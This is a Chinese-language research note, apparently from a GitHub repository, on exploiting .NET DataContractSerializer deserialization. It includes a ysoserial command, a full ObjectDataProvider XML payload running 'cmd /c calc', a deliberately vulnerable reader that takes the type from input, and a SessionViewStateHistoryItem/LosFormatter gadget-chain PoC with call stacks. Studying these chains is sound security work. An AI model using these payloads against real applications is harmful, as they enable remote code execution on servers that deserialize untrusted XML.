https://github.com/Y4er/dotnet-deserialization/blob/main/DataContractSerializer.md

DataContractSerializer

其实这个类和xmlSerializer是类似的 都是得控制type变量的值 还有传入的xml的值

(type的值必须得是序列化的类 不然会反序列化失败)

其不同的是这个类的序列化和反序列化的是依靠writeobject和readobject类

给个官方的Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Xml;

namespace DataContractDeserialize
{
// You must apply a DataContractAttribute or SerializableAttribute
// to a class to have it serialized by the DataContractSerializer.
[DataContract(Name = "Customer", Namespace = "http://www.contoso.com")]
class Person
{
[DataMember()]
public string FirstName;
[DataMember]
public string LastName;
[DataMember()]
public int Age;

public Person(string newfName, string newLName, int age)
{
FirstName = newfName;
LastName = newLName;
Age = age;
}
}

class Program
{
static void Main(string[] args)
{
try
{
WriteObject("DataContractSerializerExample.xml");
ReadObject("DataContractSerializerExample.xml");
}

catch (SerializationException serExc)
{
Console.WriteLine("Serialization Failed");
Console.WriteLine(serExc.Message);
}
catch (Exception exc)
{
Console.WriteLine("The serialization operation failed: {0} StackTrace: {1}",
exc.Message, exc.StackTrace);
}

finally
{
Console.WriteLine("Press <Enter> to exit....");
Console.ReadLine();
}
}

public static void WriteObject(string fileName)
{
Console.WriteLine("Creating a Person object and serializing it.");
Person p1 = new Person("bill", "gates", 100);
FileStream writer = new FileStream(fileName, FileMode.Create);
DataContractSerializer ser = new DataContractSerializer(typeof(Person));
ser.WriteObject(writer, p1);
writer.Close();
}

public static void ReadObject(string fileName)
{
Console.WriteLine("Deserializing an instance of the object.");
FileStream fs = new FileStream(fileName, FileMode.Open);
XmlDictionaryReader reader = XmlDictionaryReader.CreateTextReader(fs, new XmlDictionaryReaderQuotas());
DataContractSerializer ser = new DataContractSerializer(typeof(Person));

// Deserialize the data and read it from the instance.
Person deserializedPerson = (Person)ser.ReadObject(reader, true);
reader.Close();
fs.Close();
Console.WriteLine(String.Format("{0} {1}, Age: {2}", deserializedPerson.FirstName, deserializedPerson.LastName, deserializedPerson.Age));
}
}
}

代码关键点在于new DataContractSerializer(typeof(Person))指定序列化对象类型Type,然后调用ReadObject()和WriteObject()进行序列化反序列化。

同样 如果我们要传入ObjectDataProvider生成的那个xml的poc的话 我们的type也必须是ObjectDataProvider(其实是ExpandedWrapper 这里说ObjectDataProvider是为了好理解一点 )

至于为啥是ExpandedWrapper的话建议去看02那一篇文章

ObjectDataProvider (攻击链)

yso生成的poc

ysoserial.exe -f DataContractSerializer -g ObjectDataProvider -c "calc"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]],System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL xmlns="http://schemas.datacontract.org/2004/07/System.Data.Services.Internal"
xmlns:c="http://www.w3.org/2001/XMLSchema"
xmlns:i="http://www.w3.org/2001/XMLSchema-instance"
xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"
>
<ExpandedElement z:Id="ref1" >
<__identity i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System"/>
</ExpandedElement>
<ProjectedProperty0 xmlns:a="http://schemas.datacontract.org/2004/07/System.Windows.Data">
<a:MethodName>Start</a:MethodName>
<a:MethodParameters xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<b:anyType i:type="c:string">cmd</b:anyType>
<b:anyType i:type="c:string">/c calc</b:anyType>
</a:MethodParameters>
<a:ObjectInstance z:Ref="ref1"/>
</ProjectedProperty0>
</ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL>
</root>

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Xml;

namespace DataContractDeserialize
{
class Program
{
static void Main(string[] args)
{
ReadObject("D:\\Rider\\Project\\ConsoleApplication2\\ConsoleApplication2\\DataContractSerializerExample.xml");
Console.ReadKey();
}
public static void ReadObject(string fileName)
{
string xml = File.ReadAllText(fileName);
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(xml);
XmlNode rootNode = xmlDocument.SelectSingleNode("root");
//Console.WriteLine(rootNode.InnerXml);
XmlNode typeNode = rootNode.Attributes.GetNamedItem("type");
Console.WriteLine(Type.GetType(typeNode.InnerText));
DataContractSerializer dataContractSerializer = new DataContractSerializer(Type.GetType(typeNode.InnerText));
dataContractSerializer.ReadObject(new XmlTextReader(new StringReader(rootNode.InnerXml)));
}
}
}

这里的话type直接就是从xml中获取的

image-20240312111312986

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Process.Start()
[Native to Managed Transition]
RuntimeMethodInfo.UnsafeInvokeInternal()
RuntimeMethodInfo.Invoke()
RuntimeType.InvokeMember()
ObjectDataProvider.InvokeMethodOnInstance()
ObjectDataProvider.QueryWorker()
ObjectDataProvider.BeginQuery()
ObjectDataProvider.set_ObjectInstance()
[Lightweight Method Call]
ClassDataContract.ReadXmlValue()
XmlObjectSerializerReadContext.ReadDataContractValue()
XmlObjectSerializerReadContext.InternalDeserialize()
XmlObjectSerializerReadContext.InternalDeserialize()
[Lightweight Method Call]
ClassDataContract.ReadXmlValue()
XmlObjectSerializerReadContext.ReadDataContractValue()
XmlObjectSerializerReadContext.InternalDeserialize()
XmlObjectSerializerReadContext.InternalDeserialize()
DataContractSerializer.InternalReadObject()
XmlObjectSerializer.ReadObjectHandleExceptions()
DataContractSerializer.ReadObject()
Program.ReadObject()
Program.Main()

SessionViewStateHistoryItem(攻击链)

(这个类是SessionViewState的内部类 我们得查SessionViewStateHistoryItem才能进入到SessionViewState类中 直接查SessionViewState是进不去的 因为这个类是internal类型 还有就是原生的dll也是没这个类的 我们得重新下载这个dll 然后再导入进去)

这就是我踩的坑 所以记录一下这个过程

这个新链子 我们直接去yso看起构造方法

image-20240312111654111

直接去看SetType函数获取的是哪个类

image-20240312111857605

获取的刚好是我们这个需要构造的攻击链 如何接着往下看 看看其为什么要给这个类里的s参数赋值

image-20240312143439867

SessionViewStateHistoryItem这个类进行反序列化的时候 会调用这个s参数 然后进行LosFormatter的反序列化操作 这就是为什么要传s参数的原因

完整Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
using Microsoft.VisualStudio.Text.Formatting;
using System;
using System.Collections.Specialized;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.Serialization;
using System.Text;
using System.Web.UI;
using System.Windows.Data;
using System.Windows.Markup;
using System.Xml;

namespace DataContractDeserialize
{
// [Serializable]
// public class SessionViewStateHistoryItemMarshal : ISerializable
// {
// public SessionViewStateHistoryItemMarshal(string strB64LosFormatterPayload)
// {
// B64LosFormatterPayload = strB64LosFormatterPayload;
// }
//
// private string B64LosFormatterPayload { get; }
//
// public void GetObjectData(SerializationInfo info, StreamingContext context)
// {
// Type myType_SessionViewState = Type.GetType("System.Web.UI.MobileControls.SessionViewState, System.Web.Mobile, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
// Type[] nestedTypes = myType_SessionViewState.GetNestedTypes(BindingFlags.NonPublic | BindingFlags.Instance);
// info.SetType(nestedTypes[0]); // to reach the SessionViewStateHistoryItem class (private)
// info.AddValue("s", B64LosFormatterPayload);
// }
// }
// [Serializable]
// public class TextFormattingRunPropertiesMarshal : ISerializable
// {
// protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
// {
// }
// string _xaml;
// public void GetObjectData(SerializationInfo info, StreamingContext context)
// {
// Type typeTFRP = typeof(TextFormattingRunProperties);
// info.SetType(typeTFRP);
// info.AddValue("ForegroundBrush", _xaml);
// }
// public TextFormattingRunPropertiesMarshal(string cmd)
// {
// // ObjectDataProvider
// ProcessStartInfo psi = new ProcessStartInfo();
// psi.FileName = "cmd.exe";
// psi.Arguments = $"/c {cmd}";
// StringDictionary dict = new StringDictionary();
// psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
// Process p = new Process();
// p.StartInfo = psi;
// ObjectDataProvider odp = new ObjectDataProvider();
// odp.MethodName = "Start";
// odp.IsInitialLoadEnabled = false;
// odp.ObjectInstance = p;
// _xaml = XamlWriter.Save(odp);
// }
// }
class Program
{
static void Main(string[] args)
{
//WriteObject("a.xml");
ReadObject("D:\\Rider\\Project\\ConsoleApplication2\\ConsoleApplication2\\DataContractSerializerExample.xml");
Console.ReadKey();
}

// public static void WriteObject(string fileName)
// {
// string losFormatterPayload;
// using (MemoryStream memory = new MemoryStream())
// {
// LosFormatter losFormatter = new LosFormatter();
// //losFormatter.Serialize(memory, new TextFormattingRunPropertiesMarshal("calc"));
// losFormatterPayload = Encoding.UTF8.GetString(memory.ToArray());
// }
//
// // string payload = $@"<root type=""System.Web.UI.MobileControls.SessionViewState+SessionViewStateHistoryItem, System.Web.Mobile, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""><SessionViewState.SessionViewStateHistoryItem xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:x=""http://www.w3.org/2001/XMLSchema"" xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"" xmlns=""http://schemas.datacontract.org/2004/07/System.Web.UI.MobileControls"">
// // <s i:type=""x:string"" xmlns="""">{losFormatterPayload}</s>
// // </SessionViewState.SessionViewStateHistoryItem></root>";
// // SessionViewStateHistoryItemMarshal textFormattingRunPropertiesMarshal =
// // new SessionViewStateHistoryItemMarshal(payload);
// // File.WriteAllText(fileName, payload);
// // Console.WriteLine(payload);
// }

public static void ReadObject(string fileName)
{
string xml = File.ReadAllText(fileName);
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(xml);
XmlNode rootNode = xmlDocument.SelectSingleNode("root");
XmlNode typeNode = rootNode.Attributes.GetNamedItem("type");
DataContractSerializer dataContractSerializer = new DataContractSerializer(Type.GetType(typeNode.InnerText));
Console.WriteLine(Type.GetType(typeNode.InnerText));
dataContractSerializer.ReadObject(new XmlTextReader(new StringReader(rootNode.InnerXml)));
}
}
}

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
XamlReader.Parse()at 
TextFormattingRunProperties.GetObjectFromSerializationInfo()
new TextFormattingRunProperties()
[Native to Managed Transition]
ObjectManager.CompleteISerializableObject()
ObjectManager.FixupSpecialObject()
ObjectManager.DoFixups()
ObjectReader.Deserialize()
BinaryFormatter.Deserialize()
BinaryFormatter.Deserialize()
ObjectStateFormatter.DeserializeValue()
ObjectStateFormatter.Deserialize()
ObjectStateFormatter.Deserialize()
ObjectStateFormatter.Deserialize()
LosFormatter.Deserialize()
new SessionViewState.SessionViewStateHistoryItem()
[Lightweight Method Call]
ClassDataContract.ReadXmlValue()
XmlObjectSerializerReadContext.ReadDataContractValue()
XmlObjectSerializerReadContext.InternalDeserialize()
XmlObjectSerializerReadContext.InternalDeserialize()
DataContractSerializer.InternalReadObject()
XmlObjectSerializer.ReadObjectHandleExceptions()
DataContractSerializer.ReadObject()
Program.ReadObject()
Program.Main()

就是控制type和xml值就行了

NetDataContractSerializer和DataContractSerializer同样用于序列化和反序列化 Windows Communication Foundation (WCF) 消息中发送的数据。

两者有一个重要的区别在于:NetDataContractSerializer 在序列化的 XML 中包含 CLR 类型信息;而 DataContractSerializer 不包含。 因此,只有在序列化和反序列化端使用相同的 CLR 类型时,才能使用 NetDataContractSerializer